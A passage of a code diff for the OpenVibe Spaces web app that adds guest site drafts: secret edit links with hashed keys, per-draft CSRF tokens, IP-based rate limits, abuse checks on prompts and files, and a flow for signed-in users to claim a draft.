editorOf(req) {++ const param = req.params.slug;++ const space = (await spaces.get(param)) || (await spaces.getBySlug(param));++ if (!space) throw new ApiError(404, 'space.not_found', 'no such space');++ if (spaces.isGuest(space)) {++ if (spaces.guestExpired(space, ctx.store.now())) throw new ApiError(404, 'space.not_found', 'this draft is gone');++ const key = guestKeyOf(req, space);++ if (!spaces.guestKeyOk(space, key)) throw new ApiError(403, 'space.forbidden', 'this draft needs the secret from its link');++ return { space, guest: true, key };++ }++ if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in first');++ const owner = spaces.isOwner(req.viewer, space) || Boolean(req.viewer && req.viewer.staff);++ // A published space says who may change it; a draft is nobody's but its maker's, so it is simply not there.++ if (!owner) {++ if (space.site_id) throw new ApiError(403, 'space.not_owner', 'only the space\'s maker can change it');++ throw new ApiError(404, 'space.not_found', 'no such space');++ }++ return { space, guest: false, key: null };++ }/** An editor JSON call: signed in, same origin, the form token in X-CSRF-Token. */const api = (fn) => [json, async (req, res) => {try {-- if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in again');-- if (!sameOrigin(config, req) || !checkCsrf(config, req.viewer, req.get('x-csrf-token'))) throw new ApiError(403, 'form.invalid', 'this page expired; reload it');-- res.json(await fn(req, res));++ const who = await editorOf(req);++ // A guest draft is edited with its own form token (one made for the draft) and its own secret.++ const ok = who.guest++ ? checkScopeToken(config, `guest:${who.space.id}`, req.get('x-csrf-token'))++ : checkCsrf(config, req.viewer, req.get('x-csrf-token'));++ if (!sameOrigin(config, req) || !ok) throw new ApiError(403, 'form.invalid', 'this page expired; reload it');++ res.json(await fn(req, res, who));} catch (err) {if (!(err instanceof ApiError) && !(err && Number.isInteger(err.status) && err.code)) log.error('[Spaces editor]', err && err.stack ? err.stack : err);const status = err && Number.isInteger(err.status) ? err.status : 500;@@@ -99,6 +147,34 @@ function createSpacesPages(ctx) {const buildsLeft = async (req) => (signedIn(req) ? Math.max(0, limits.aiBuildsPerDay - await spaces.used(`build:${req.viewer.subject}`)) : 0);const settingsOut = (s) => ({ id: s.id, slug: s.slug, name: s.name, description: s.description, instructions: s.instructions, capabilities: spaces.capsOf(s.capabilities), visibility: s.visibility, published: Boolean(s.site_id), url: spaces.urlOf(s), building: Boolean(s.building_run_id) });++ // ── Guest drafts (openvibe.website, plan 5.9) ────────────────────────────────────────────────────────────++ // A visitor who is not signed in makes a draft on openvibe.space. The draft has no owner and a random++ // secret; only the secret's hash is stored (server/spaces/guest.js). The secret opens the draft's editor++ // and is what a signed-in person needs to claim it.++ const guestLimits = limits.guest;++ const guestCookie = (id) => `spc_key_${id}`;++ /** The form token of a guest draft: one made for the draft, not for a session. */++ const guestCsrf = (id) => scopeToken(config, `guest:${id}`);++ /** The address the request came from: the abuse screen counts what one address makes. */++ const ipOf = (req) => String(req.ip || (req.socket && req.socket.remoteAddress) || '').replace(/^::ffff:/, '').slice(0, 64);++ /** The draft's secret: from the link, from the cookie that remembers it, or from the editor's header. */++ const guestKeyOf = (req, space) => {++ const q = req.query && req.query.key;++ if (typeof q === 'string' && q) return q;++ const h = req.get('x-space-key');++ if (typeof h === 'string' && h) return h;++ const c = req.cookies && req.cookies[guestCookie(space.id)];++ return typeof c === 'string' ? c : '';++ };++ /** Remember the secret for this one draft (host-only, so only openvibe.space ever sees it). */++ const setGuestCookie = (res, space, key) => res.cookie(guestCookie(space.id), key, {++ httpOnly: true, sameSite: 'lax', secure: config.cookies.secure, path: `/spaces/${space.id}`,++ maxAge: guestLimits.ttlDays * 24 * 3600 * 1000,++ });++ const clearGuestCookie = (res, space) => res.clearCookie(guestCookie(space.id), { path: `/spaces/${space.id}` });++ /** How many AI builds this address has left today. */++ const guestBuildsLeft = async (req) => Math.max(0, guestLimits.aiBuildsPerIpPerDay - await spaces.used(`guest-ai:ip:${ipOf(req)}`));++router.get('/_openvibe/sdk.js', (req, res) => {res.set('Cache-Control', 'no-cache').type('application/javascript').send(sdkSource({ mode: 'preview', avatar: `${config.networkUrl}/avatar/{username}` }));});@@@ -127,6 +203,8 @@ function createSpacesPages(ctx) {const again = (error) => html(res, 422, render.newPage({ viewer: req.viewer, templates: templates.list(), csrf: csrfOf(req), aiOn: ai.enabled(), buildsLeft: 0, error, prompt }));if (prompt.length < 8) return again('Describe your space in a sentence or two (what it does, who uses it, how it should look).');if (!ai.enabled()) return again('OpenVibe AI is not available right now. Start from a template instead.');++ // The abuse screen: what is asked of the AI must pass it (a guest's prompt passes the same checks).++ contentCheck.refuse(contentCheck.promptReason(prompt));if (!(await spaces.spend(`build:${req.viewer.subject}`, limits.aiBuildsPerDay))) return again(`You have used today's ${limits.aiBuildsPerDay} AI builds. Start from a template, or try again tomorrow.`);const t = templates.get('blank');const space = await spaces.create(req.viewer, { name: 'New space', description: '', capabilities: t.capabilities, files: templates.files('blank'), template: null });@@@ -135,6 +213,49 @@ function createSpacesPages(ctx) {res.redirect(303, `/spaces/${space.slug}/edit`);}));++ // ── Guest drafts (openvibe.website, plan 5.9) ────────────────────────────────────────────────────────────++ // A visitor who is not signed in makes a draft here, on openvibe.space (never on openvibe.website, which++ // reads no cookie and sets none). The answer is the secret edit link; the cookie only remembers it.++ router.get('/spaces/guest', view(async (req, res) => {++ html(res, 200, render.guestPage({ templates: templates.sites(), error: null, prompt: '', aiOn: ai.enabled() }));++ }));++ router.post('/spaces/guest', ...guestAction(async (req, res) => {++ const body = req.body || {};++ const prompt = String(body.prompt || '').trim();++ const t = body.template ? templates.get(String(body.template)) : null;++ const again = (error) => html(res, 422, render.guestPage({ templates: templates.sites(), error, prompt, aiOn: ai.enabled() }));++ if (!guestLimits.enabled) return again('Guest drafts are off right now.');++ if (body.template && (!t || t.kind !== 'site')) return again('That is not a website template.');++ if (!t && prompt.length < 8) return again('Describe your site in a sentence or two (what it does, who uses it, how it should look).');++ if (!t && !ai.enabled()) return again('OpenVibe AI is not available right now. Start from a template instead.');++ // The abuse screen: what the guest asks for, and what the draft starts from, must pass it.++ contentCheck.refuse(contentCheck.promptReason(prompt));++ const files = t ? templates.files(t.id) : templates.files('blank');++ contentCheck.refuse(contentCheck.filesReason(files, { sitesDomain: config.sitesDomain, forms: true }));++ // The AI's share of the day, before anything is made.++ let aiRoom = { ok: true };++ if (!t) {++ aiRoom = await spaces.spendGuestAi(ipOf(req), null);++ if (!aiRoom.ok) return again(`You have used today's ${guestLimits.aiBuildsPerIpPerDay} AI builds. Start from a template, or try again tomorrow.`);++ }++ // The limits: what this address may make a day, and what the service makes a day.++ const room = await spaces.spendGuestDraft(ipOf(req));++ if (!room.ok) return again(room.reason === 'service'++ ? 'We have made as many drafts today as we can. Please try again tomorrow.'++ : `You have made today's ${guestLimits.draftsPerIpPerDay} drafts. Please try again tomorrow.`);++ const { space, key } = await spaces.createGuest({++ ip: ipOf(req), name: t ? t.name : 'Untitled site', description: t ? t.description : '',++ template: t ? t.id : null, files,++ });++ // The secret is in the link; the cookie remembers it for this one draft (the link alone works too).++ setGuestCookie(res, space, key);++ if (!t && aiRoom.ok) {++ const runId = await ai.build(null, { prompt, spaceId: space.id });++ await spaces.startBuild(space, runId, prompt);++ }++ res.redirect(303, `/spaces/${space.id}/edit?key=${encodeURIComponent(key)}`);++ }));++router.get('/spaces/mine', view(async (req, res) => {if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in first');html(res, 200, render.minePage({ spaces: await spaces.mine(req.viewer) }));@@@ -147,8 +268,17 @@ function createSpacesPages(ctx) {}));router.get('/spaces/:slug/edit', view(async (req, res) => {-- if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in first');-- const { space } = await spaces.load(req.viewer, req.params.slug, 'own');++ const who = await editorOf(req);++ if (who.guest) {++ html(res, 200, render.editorPage({++ space: who.space, files: await spaces.files(who.space), csrf: guestCsrf(who.space.id),++ canPublish: false, url: null, aiOn: ai.enabled(), buildsLeft: await guestBuildsLeft(req),++ templates: templates.list(),++ guest: { id: who.space.id, key: who.key, claimCsrf: csrfOf(req), signedIn: signedIn(req) },++ }));++ return;++ }++ const { space } = who;html(res, 200, render.editorPage({ space, files: await spaces.files(space), csrf: csrfOf(req), canPublish: spaces.canPublish(req.viewer), url: spaces.urlOf(space), aiOn: ai.enabled(), buildsLeft: await buildsLeft(req), templates: templates.list() }));}));@@@ -158,26 +288,58 @@ function createSpacesPages(ctx) {res.redirect(303, `/spaces/${copy.slug}/edit`);}));++ // The claim (openvibe.website, plan 5.9): a signed-in person who holds the draft's secret keeps it. The++ // draft becomes theirs — with an address from its name — and follows every rule a signed-in space does.++ router.post('/spaces/:slug/claim', ...action(async (req, res) => {++ const space = await spaces.get(req.params.slug);++ if (!space || !spaces.isGuest(space)) throw new ApiError(404, 'space.not_found', 'no such draft');++ if (spaces.guestExpired(space, ctx.store.now())) throw new ApiError(404, 'space.not_found', 'this draft is gone');++ const claimed = await spaces.claimGuest(space, String((req.body || {}).key || ''), spaces.personOf(req.viewer));++ clearGuestCookie(res, space);++ res.redirect(303, `/spaces/${claimed.slug}`);++ }));++// ── The editor's JSON calls ──-- const own = async (req) => (await spaces.load(req.viewer, req.params.slug, 'own')).space;-- router.put('/spaces/:slug/files', ...api(async (req) => {-- const space = await own(req);++ // The maker (signed in) or a guest holding the draft's secret; who they are, editorOf() says.++ router.put('/spaces/:slug/files', ...api(async (req, res, who) => {++ const space = who.space;if (space.building_run_id) throw new ApiError(409, 'space.building', 'the AI is changing this space; wait for it to finish');-- return { files: await spaces.saveFiles(req.viewer, space, (req.body || {}).files) };++ const list = (req.body || {}).files;++ // The abuse screen: what is saved must pass it (a guest draft's forms may not post off-site).++ contentCheck.refuse(contentCheck.filesReason(list, { sitesDomain: config.sitesDomain, forms: who.guest }));++ const files = await spaces.saveFiles(req.viewer, space, list);++ if (who.guest) await spaces.touchGuest(space);++ return { files };++ }));++ router.put('/spaces/:slug/settings', ...api(async (req, res, who) => {++ const body = req.body || {};++ // A guest draft has no capabilities (there is no visitor to ask anything of) and is never in the gallery.++ const input = who.guest ? { name: body.name, description: body.description, instructions: body.instructions, capabilities: [], visibility: 'unlisted' } : body;++ const updated = await spaces.updateSettings(req.viewer, who.space, input);++ if (who.guest) await spaces.touchGuest(updated);++ return { space: settingsOut(updated) };}));-- router.put('/spaces/:slug/settings', ...api(async (req) => ({ space: settingsOut(await spaces.updateSettings(req.viewer, await own(req), req.body || {})) })));-- router.post('/spaces/:slug/ai', ...api(async (req) => {-- const space = await own(req);++ router.post('/spaces/:slug/ai', ...api(async (req, res, who) => {++ const space = who.space;const prompt = String((req.body || {}).prompt || '').trim();if (prompt.length < 3) throw new ApiError(422, 'space.prompt_required', 'say what to change');if (space.building_run_id) throw new ApiError(409, 'space.building', 'the AI is already changing this space');-- if (!(await spaces.spend(`build:${req.viewer.subject}`, limits.aiBuildsPerDay))) throw new ApiError(429, 'quota', `you have used today's ${limits.aiBuildsPerDay} AI builds; try again tomorrow`);-- const runId = await ai.build(spaces.personOf(req.viewer), { prompt, name: space.name, current: await spaces.files(space), spaceId: space.id });++ // The abuse screen: what the guest asks the AI must pass it (the maker's prompt passes it too).++ contentCheck.refuse(contentCheck.promptReason(prompt));++ if (who.guest) {++ const room = await spaces.spendGuestAi(ipOf(req), space.id);++ if (!room.ok) throw new ApiError(429, 'quota', room.reason === 'ip'++ ? `you have used today's ${guestLimits.aiBuildsPerIpPerDay} AI builds; try again tomorrow`++ : `this draft has had its ${guestLimits.aiEditsPerDraft} AI changes; try again tomorrow`);++ } else if (!(await spaces.spend(`build:${req.viewer.subject}`, limits.aiBuildsPerDay))) {++ throw new ApiError(429, 'quota', `you have used today's ${limits.aiBuildsPerDay} AI builds; try again tomorrow`);++ }++ const runId = await ai.build(who.guest ? null : spaces.personOf(req.viewer), { prompt, name: space.name, current: await spaces.files(space), spaceId: space.id });await spaces.startBuild(space, runId, prompt);return { building: true };}));-- router.get('/spaces/:slug/ai', ...api(async (req) => {-- const space = await own(req);++ router.get('/spaces/:slug/ai', ...api(async (req, res, who) => {++ const space = who.space;if (!space.building_run_id) return { status: 'idle' };const runId = space.building_run_id;const r = await ai.result(runId);@@@ -187,10 +349,14 @@ function createSpacesPages(ctx) {}if (r.status === 'succeeded') {try {-- await spaces.finishBuild(space, runId, r.output);++ // The abuse screen: what the AI answered must pass it too.++ contentCheck.refuse(contentCheck.filesReason(r.output && r.output.files, { sitesDomain: config.sitesDomain, forms: who.guest }));++ // A guest draft has no capabilities: there is no visitor to ask anything of.++ await spaces.finishBuild(space, runId, who.guest ? { ...r.output, capabilities: [] } : r.output);} catch (err) {await spaces.failBuild(space, runId);-- return { status: 'failed', message: `The AI's answer was not a working space (${err.message}). Try again.` };++ const refused = err && (err.code === 'space.guest_abuse' || err.code === 'space.guest_offsite_form');++ return { status: 'failed', message: refused ? `The AI's answer was refused: ${err.message}` : `The AI's answer was not a working space (${err.message}). Try again.` };}const fresh = await spaces.get(space.id);return { status: 'done', space: settingsOut(fresh), files: await spaces.files(fresh) };@@@ -198,15 +364,28 @@ function createSpacesPages(ctx) {await spaces.failBuild(space, runId);return { status: 'failed', message: r.error === 'quota.exceeded' ? 'Your OpenVibe AI allowance for today is used up.' : 'The AI could not build that. Try again, or describe it differently.' };}));-- router.post('/spaces/:slug/publish', ...api(async (req) => {-- const out = await spaces.publish(req.viewer, await own(req), { traceparent: req.ov ? req.ov.traceparent : undefined });++ router.post('/spaces/:slug/publish', ...api(async (req, res, who) => {++ // A guest draft is not published: it has no owner to publish under, and it is static.++ if (who.guest) throw new ApiError(403, 'space.guest_cannot_publish', 'a guest draft cannot be published; sign in and keep it first');++ const out = await spaces.publish(req.viewer, who.space, { traceparent: req.ov ? req.ov.traceparent : undefined });return { space: settingsOut(out.space), url: out.url };}));-- router.post('/spaces/:slug/unpublish', ...api(async (req) => ({ space: settingsOut(await spaces.unpublish(req.viewer, await own(req))) })));-- router.post('/spaces/:slug/delete', ...api(async (req) => { await spaces.remove(req.viewer, await own(req)); return { deleted: true }; }));-- router.post('/spaces/:slug/preview', ...api(async (req) => {-- const space = await own(req);++ router.post('/spaces/:slug/unpublish', ...api(async (req, res, who) => {++ if (who.guest) throw new ApiError(403, 'space.guest_cannot_publish', 'a guest draft was never published');++ return { space: settingsOut(await spaces.unpublish(req.viewer, who.space)) };++ }));++ router.post('/spaces/:slug/delete', ...api(async (req, res, who) => { await spaces.remove(req.viewer, who.space); return { deleted: true }; }));++ router.post('/spaces/:slug/preview', ...api(async (req, res, who) => {++ const space = who.space;const b = req.body || {};++ if (who.guest) {++ // A guest draft is static: no visitor's lists, no private storage, no server functions. The SDK++ // answers "sign in to use this" where a visitor's account would be needed — not an error.++ if (b.op === 'fn.call') throw new ApiError(403, 'space.guest_no_functions', 'a guest draft runs no server functions');++ if (b.op === 'me') return { result: null };++ if (b.op === 'items.list') return { result: [] };++ return { result: { error: 'sign_in_required', message: 'Sign in to use this' } };++ }const person = spaces.personOf(req.viewer);// OV.fn in the preview: the editor's copy of functions/<name>.js (unsaved changes too), run as the maker.if (b.op === 'fn.call') {@@@ -152,22 +152,31 @@ function spacePage({ viewer, space, owner, url, csrf, forkedFrom }) {});}--function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, templates }) {++function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, templates, guest = null }) {const boot = {space: { id: space.id, slug: space.slug, name: space.name, description: space.description, instructions: space.instructions, capabilities: caps(space), visibility: space.visibility, published: Boolean(space.site_id), url, building: Boolean(space.building_run_id), building_prompt: space.building_prompt || '' },files, csrf, canPublish, aiOn, buildsLeft, templates: templates.map((t) => ({ id: t.id, name: t.name })),++ // Where the editor's calls go: a guest draft is edited by its id (its address is a secret link), an++ // owned space by its slug. A guest carries its secret with every call.++ base: `/spaces/${guest ? space.id : space.slug}`,++ guest: guest ? { id: space.id, key: guest.key } : null,};++ // The claim (openvibe.website, plan 5.9): a signed-in person who holds the secret keeps the draft.++ const claim = guest ? (guest.signedIn++ ? `<form method="post" action="/spaces/${esc(guest.id)}/claim"><input type="hidden" name="key" value="${esc(guest.key)}"><input type="hidden" name="csrf" value="${esc(guest.claimCsrf || '')}"><button class="sp-btn" type="submit"><i class="fa-solid fa-bookmark" aria-hidden="true"></i> Keep this site</button></form>`++ : `<p class="sp-muted">This draft is yours until you sign in. <a class="sp-btn sp-btn-quiet" href="${esc(`/auth/login?next=${encodeURIComponent(`/spaces/${guest.id}/edit?key=${guest.key}`)}`)}">Sign in to keep it</a></p>`) : '';const body = `<div class="sp-editor" id="sp-editor" data-view="preview"><header class="sp-ed-bar">-- <a class="sp-ed-back" href="/spaces/${esc(space.slug)}" aria-label="Back to the space's page"><i class="fa-solid fa-arrow-left" aria-hidden="true"></i></a>++ <a class="sp-ed-back" href="${guest ? '/spaces/guest' : `/spaces/${esc(space.slug)}`}" aria-label="Back"><i class="fa-solid fa-arrow-left" aria-hidden="true"></i></a><h1 class="sp-ed-name" id="ed-name">${esc(space.name)}</h1><span class="sp-ed-status" id="ed-status" role="status"></span><div class="sp-ed-actions"><button class="sp-btn sp-btn-quiet" id="ed-settings" type="button"><i class="fa-solid fa-sliders" aria-hidden="true"></i> Settings</button><button class="sp-btn sp-btn-quiet" id="ed-save" type="button"><i class="fa-solid fa-floppy-disk" aria-hidden="true"></i> Save</button>-- <button class="sp-btn" id="ed-publish" type="button"><i class="fa-solid fa-globe" aria-hidden="true"></i> ${space.site_id ? 'Update' : 'Publish'}</button>++ ${guest ? '' : `<button class="sp-btn" id="ed-publish" type="button"><i class="fa-solid fa-globe" aria-hidden="true"></i> ${space.site_id ? 'Update' : 'Publish'}</button>`}</div></header>++ ${claim ? `<div class="sp-ed-claim"><p><strong>Keep this site</strong> — sign in and it becomes yours, with an address of its own.</p>${claim}</div>` : ''}<div class="sp-ed-ai"><form id="ed-ai-form"><label class="sr-only" for="ed-ai">Ask OpenVibe AI to change this space</label><i class="fa-solid fa-wand-magic-sparkles" aria-hidden="true"></i>@@@ -193,7 +202,7 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem<label>Name<input name="name" maxlength="40" required></label><label>Description<textarea name="description" rows="2" maxlength="400" placeholder="What it does, for the gallery"></textarea></label><label>Its AI's instructions<textarea name="instructions" rows="4" maxlength="4000" placeholder="Who the space's AI is and how it answers (used by OV.ai.ask)"></textarea></label>-- <fieldset><legend>What it may ask visitors for</legend>++ ${guest ? '' : `<fieldset><legend>What it may ask visitors for</legend><label class="sp-check"><input type="checkbox" name="cap" value="profile"> Their username</label><label class="sp-check"><input type="checkbox" name="cap" value="data"> Adding to shared lists (OV.items)</label><label class="sp-check"><input type="checkbox" name="cap" value="kv"> Their private storage (OV.kv)</label>@@@ -201,11 +210,11 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem</fieldset><fieldset><legend>Who can find it</legend><label class="sp-check"><input type="radio" name="visibility" value="public"> Public: in the gallery</label>-- <label class="sp-check"><input type="radio" name="visibility" value="unlisted"> Unlisted: only with the link</label>-- </fieldset>++ <label class="sp-check"><input type="radio" name="visibility" value="unlisted"> Unlisted: only with its link</label>++ </fieldset>`}<div class="sp-row sp-dialog-actions"><button class="sp-btn" value="save">Save settings</button><button class="sp-btn sp-btn-quiet" value="cancel" formnovalidate>Cancel</button></div><hr>-- <div class="sp-row"><button class="sp-btn sp-btn-quiet sp-btn-sm" id="ed-unpublish" type="button" ${space.site_id ? '' : 'hidden'}>Unpublish</button><button class="sp-btn sp-btn-danger sp-btn-sm" id="ed-delete" type="button">Delete this space</button></div>++ <div class="sp-row">${guest ? '' : `<button class="sp-btn sp-btn-quiet sp-btn-sm" id="ed-unpublish" type="button" ${space.site_id ? '' : 'hidden'}>Unpublish</button>`}<button class="sp-btn sp-btn-danger sp-btn-sm" id="ed-delete" type="button">Delete this space</button></div></form></dialog></div>@@@ -217,7 +226,34 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/css/css.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/htmlmixed/htmlmixed.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script><script src="${asset('js/space-editor.js')}" defer></script>`;-- return page({ title: `Edit ${space.name}`, path: `/spaces/${space.slug}/edit`, robots: 'noindex,nofollow', body });++ return page({ title: `Edit ${space.name}`, path: guest ? `/spaces/${space.id}/edit` : `/spaces/${space.slug}/edit`, robots: 'noindex,nofollow', body });++}++++/**++ * The start page of a guest draft (openvibe.website, plan 5.9): no account, a template or a sentence, and a++ * private link to edit it. Plain forms in the spaces markup; the design is the orchestrator's.++ */++function guestPage({ templates, error, prompt, aiOn }) {++ const cards = templates.map((t) => `<div class="sp-template" style="--tpl:${esc(t.accent)}">++ <span class="sp-template-icon"><i class="fa-solid ${esc(t.icon)}" aria-hidden="true"></i></span>++ <h3>${esc(t.name)}</h3><p>${esc(t.description)}</p>++ <form method="post" action="/spaces/guest"><input type="hidden" name="template" value="${esc(t.id)}"><button class="sp-btn">Start from this</button></form>++</div>`).join('');++ const body = `<div class="sp-wrap">++ <p class="eyebrow">OpenVibe.Space</p>++ <h1 class="sp-title">Make a site.</h1>++ <p class="sp-lede">No account needed. Start from a template or describe what you want and OpenVibe AI writes it. You get a private link to edit it; sign in later to keep it.</p>++ ${error ? `<p class="sp-flash is-bad" role="alert">${esc(error)}</p>` : ''}++ <form class="sp-ai-form" method="post" action="/spaces/guest">++ <label for="sp-prompt">Describe it and OpenVibe AI builds it</label>++ <textarea id="sp-prompt" name="prompt" rows="4" maxlength="4000" placeholder="A bakery site with today’s hours, where to find us and how to order…" ${aiOn ? '' : 'disabled'}>${esc(prompt || '')}</textarea>++ <div class="sp-row"><button class="sp-btn" ${aiOn ? '' : 'disabled'}><i class="fa-solid fa-wand-magic-sparkles" aria-hidden="true"></i> Build it</button>++ <span class="sp-muted">${aiOn ? 'It takes about a minute; you can change everything after.' : 'OpenVibe AI is not available right now; start from a template instead.'}</span></div>++ </form>++ <h2 class="sp-subtitle">Or start from a template</h2>++ <div class="sp-templates is-compact">${cards}</div>++</div>`;++ return page({ title: 'Make a site', path: '/spaces/guest', robots: 'noindex,nofollow', body });}function connectPage({ viewer, space, csrf, challenge, state, returnPath }) {@@@ -259,4 +295,4 @@ function errorBody(status, message) {return page({ title: status === 404 ? 'Space not found' : 'Spaces', path: '/spaces', robots: 'noindex,nofollow', body: `<div class="sp-wrap"><p class="eyebrow">Error ${Number(status)}</p><h1 class="sp-title">${status === 404 ? 'No such space' : 'That did not work'}</h1><p class="sp-lede">${esc(message)}</p><p><a class="sp-btn" href="/spaces">Back to spaces</a></p></div>` });}--module.exports = { galleryPage, newPage, minePage, spacePage, editorPage, connectPage, signInPage, errorBody, CAP_TEXT };++module.exports = { galleryPage, newPage, minePage, spacePage, editorPage, guestPage, connectPage, signInPage, errorBody, CAP_TEXT };@@@ -14,6 +14,7 @@const crypto = require('crypto');const { ids } = require('openvibe-contracts');const { ApiError } = require('../http/errors');++const guest = require('./guest');const SPACE_RE = /^spc_[0-9A-HJKMNP-TV-Z]{26}$/;const SLUG_RE = /^[a-z0-9](?:[a-z0-9]|-(?=[a-z0-9])){2,39}$/;@@@ -41,7 +42,7 @@ function slugBase(name) {return s.length >= 3 ? s : `space-${s}`.replace(/-+$/, '');}--function createSpaces({ store, config, projects, sites, deploys, takedowns, log = console }) {++function createSpaces({ store, config, projects, sites, deploys, takedowns, outbox = null, log = console }) {const { db } = store;const limits = config.spaces;const q = {@@@ -74,6 +75,14 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, logcounter: db.prepare(`INSERT INTO space_app_counters (scope, day, n) VALUES (?, ?, 1)ON CONFLICT (scope, day) DO UPDATE SET n = space_app_counters.n + 1 RETURNING n`),counterGet: db.prepare('SELECT n FROM space_app_counters WHERE scope = ? AND day = ?'),++ // Guest drafts (openvibe.website, plan 5.9): no owner yet, a secret of their own, and a time they live until.++ insertGuest: db.prepare(`INSERT INTO space_apps (id, slug, owner_subject, owner_username, owner_name, name, description, instructions, capabilities,++ template, forked_from, visibility, status, created_at, updated_at, guest_hash, guest_ip, guest_expires_at)++ VALUES (?, ?, NULL, '', '', ?, ?, '', '[]', ?, NULL, 'unlisted', 'active', ?, ?, ?, ?, ?)`),++ touchGuest: db.prepare('UPDATE space_apps SET updated_at = ?, guest_expires_at = ? WHERE id = ? AND guest_hash IS NOT NULL'),++ claimGuest: db.prepare(`UPDATE space_apps SET owner_subject = ?, owner_username = ?, owner_name = ?, slug = ?, visibility = 'public',++ guest_hash = NULL, guest_ip = NULL, guest_expires_at = NULL, updated_at = ?++ WHERE id = ? AND guest_hash IS NOT NULL`),};const isSpaceId = (v) => typeof v === 'string' && SPACE_RE.test(v);@@@ -147,6 +156,15 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, logthrow new ApiError(503, 'space.slug_unavailable', 'could not find a free address for the space; try another name');}++ /** A guest draft's address: a plain name, not something a visitor chose (it is claimed later). */++ async function uniqueGuestSlug() {++ for (let i = 0; i < 8; i++) {++ const slug = `guest-${crypto.randomBytes(3).toString('hex')}`;++ if (!(await q.slugUsed.get(slug, slug))) return slug;++ }++ throw new ApiError(503, 'space.slug_unavailable', 'could not find a free address for the draft; try again');++ }++/** A new space owned by the viewer: from given files (a template, a fork, an AI build) and settings. */async function create(viewer, input = {}) {const person = personOf(viewer);@@@ -170,6 +188,88 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, logreturn checked;}++ // ── Guest drafts (openvibe.website, plan 5.9) ────────────────────────────────────────────────────────++ // A visitor who is not signed in makes a draft: no owner, a random secret of which only the hash is kept,++ // and an address of its own. The secret opens /spaces/<id>/edit?key=…; a signed-in person who holds it can++ // claim the draft, and then it is an ordinary space of theirs.++++ /** A guest draft: a space with no owner and a secret of its own. */++ const isGuest = (space) => Boolean(space && !space.owner_subject && space.guest_hash);++ /** The draft is up: seven days after its last edit (the job removes it). */++ const guestExpired = (space, now) => Boolean(space && space.guest_expires_at && Number(space.guest_expires_at) < Number(now));++ /** The key opens the draft. The comparison is in constant time (server/spaces/guest.js). */++ const guestKeyOk = (space, key) => guest.keyMatches(space && space.guest_hash, key);++ /** Push the draft's time up: it lives seven days after its last edit. */++ async function touchGuest(space) {++ const now = store.now();++ await q.touchGuest.run(now, now + limits.guest.ttlDays * DAY, space.id);++ return now;++ }++++ /**++ * A new guest draft. The secret is returned once, in the link; only its hash is stored.++ * A guest draft has no capabilities: there is no visitor to ask anything of.++ */++ async function createGuest({ ip = '', name = 'Untitled site', description = '', template = null, files }) {++ const now = store.now();++ const id = `spc_${ids.ulid(now)}`;++ const slug = await uniqueGuestSlug();++ const key = guest.newKey();++ const list = checkFiles(files);++ await store.tx(async () => {++ await q.insertGuest.run(id, slug, text(name, 40), text(description, 400), template, now, now, guest.keyHash(key), String(ip || '').slice(0, 64), now + limits.guest.ttlDays * DAY);++ for (const f of list) await q.addFile.run(id, f.path, f.content, now);++ });++ return { space: await get(id), key };++ }++++ /**++ * The claim: a signed-in person who holds the secret takes the draft. It becomes theirs, with an address++ * from its name, the secret is cleared, and it follows every rule a signed-in person's space does.++ * Claiming twice, or with the wrong secret, is refused.++ */++ async function claimGuest(space, key, person) {++ if (!isGuest(space)) throw new ApiError(409, 'space.already_claimed', 'this space already belongs to someone');++ if (!guest.keyMatches(space.guest_hash, key)) throw new ApiError(403, 'space.forbidden', 'that is not this draft\'s secret');++ if ((await q.ownedCount.get(person.subject)).n >= limits.maxPerOwner) throw new ApiError(429, 'quota.spaces', `you have ${limits.maxPerOwner} spaces already; delete one to make another`);++ const now = store.now();++ const slug = await uniqueSlug(space.name);++ const claimed = await store.tx(async () => {++ const r = await q.claimGuest.run(person.subject, person.username, person.name, slug, now, space.id);++ if (!r.changes) return false;++ // The claim is a status event: the draft now belongs to a person.++ if (outbox) {++ await outbox.emit({++ event_type: 'space.app.claimed', actor: { type: 'user', id: person.subject },++ visibility: 'internal', priority: 'important',++ subject: { type: 'space', id: space.id },++ payload: { space_id: space.id, slug, name: space.name, ...(space.template ? { template: space.template } : {}) },++ });++ }++ return true;++ });++ if (!claimed) throw new ApiError(409, 'space.already_claimed', 'this space already belongs to someone');++ if (outbox) outbox.kick();++ return await get(space.id);++ }++++ /**++ * The abuse screen's counters (the guest half): what one address may make a day, what the service makes a++ * day, and what one draft may ask the AI. Returns { ok } or { ok: false, reason }.++ */++ async function spendGuestDraft(ip) {++ const g = limits.guest;++ if (!(await spend('guest-draft:day', g.draftsPerDay))) return { ok: false, reason: 'service' };++ if (!(await spend(`guest-draft:ip:${ip}`, g.draftsPerIpPerDay))) return { ok: false, reason: 'ip' };++ return { ok: true };++ }++ async function spendGuestAi(ip, spaceId) {++ const g = limits.guest;++ if (!(await spend(`guest-ai:ip:${ip}`, g.aiBuildsPerIpPerDay))) return { ok: false, reason: 'ip' };++ if (spaceId && !(await spend(`guest-ai:${spaceId}`, g.aiEditsPerDraft))) return { ok: false, reason: 'draft' };++ return { ok: true };++ }++async function updateSettings(viewer, space, input = {}) {const name = input.name !== undefined ? text(input.name, 40) : space.name;if (!name) throw new ApiError(422, 'space.invalid_name', 'a space needs a name');@@@ -278,6 +378,8 @@ function createSpaces({ store, config, projects, sites, deploys, takedowns, logCAPABILITIES, isSpaceId, get, getBySlug, forSite, load, isOwner, files, create, saveFiles, updateSettings, fork,startBuild, finishBuild, failBuild, spend, used, canPublish, publish, unpublish, remove, gallery, mine, hostnameOf, urlOf,personOf, capsOf, checkFiles, DAY,++ // Guest drafts (openvibe.website, plan 5.9)++ isGuest, guestExpired, 